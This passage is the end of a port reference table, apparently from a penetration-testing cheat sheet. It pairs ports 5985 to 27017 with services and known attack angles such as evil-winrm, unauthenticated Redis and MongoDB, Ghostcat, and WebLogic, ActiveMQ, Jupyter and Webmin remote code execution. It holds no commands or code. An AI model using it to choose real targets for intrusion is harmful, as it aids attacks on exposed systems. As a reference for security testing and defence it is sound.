║ 5985     ║ TCP    ║ WinRM (evil-winrm)                               ║
║ 6379     ║ TCP    ║ Redis no-auth                                    ║
║ 7001     ║ TCP    ║ WebLogic RCE                                     ║
║ 8009     ║ TCP    ║ AJP (Ghostcat)                                   ║
║ 8080     ║ TCP    ║ web/Jenkins                                      ║
║ 8088     ║ TCP    ║ Hadoop YARN                                      ║
║ 8161     ║ TCP    ║ ActiveMQ RCE                                     ║
║ 8888     ║ TCP    ║ Jupyter RCE                                      ║
║ 9200     ║ TCP    ║ Elasticsearch data                               ║
║ 9418     ║ TCP    ║ Git repos                                        ║
║ 10000    ║ TCP    ║ Webmin RCE                                       ║
║ 11211    ║ TCP/UDP║ Memcached dump                                   ║
║ 27017    ║ TCP    ║ MongoDB no-auth                                  ║
╚══════════╩════════╩══════════════════════════════════════════════════╝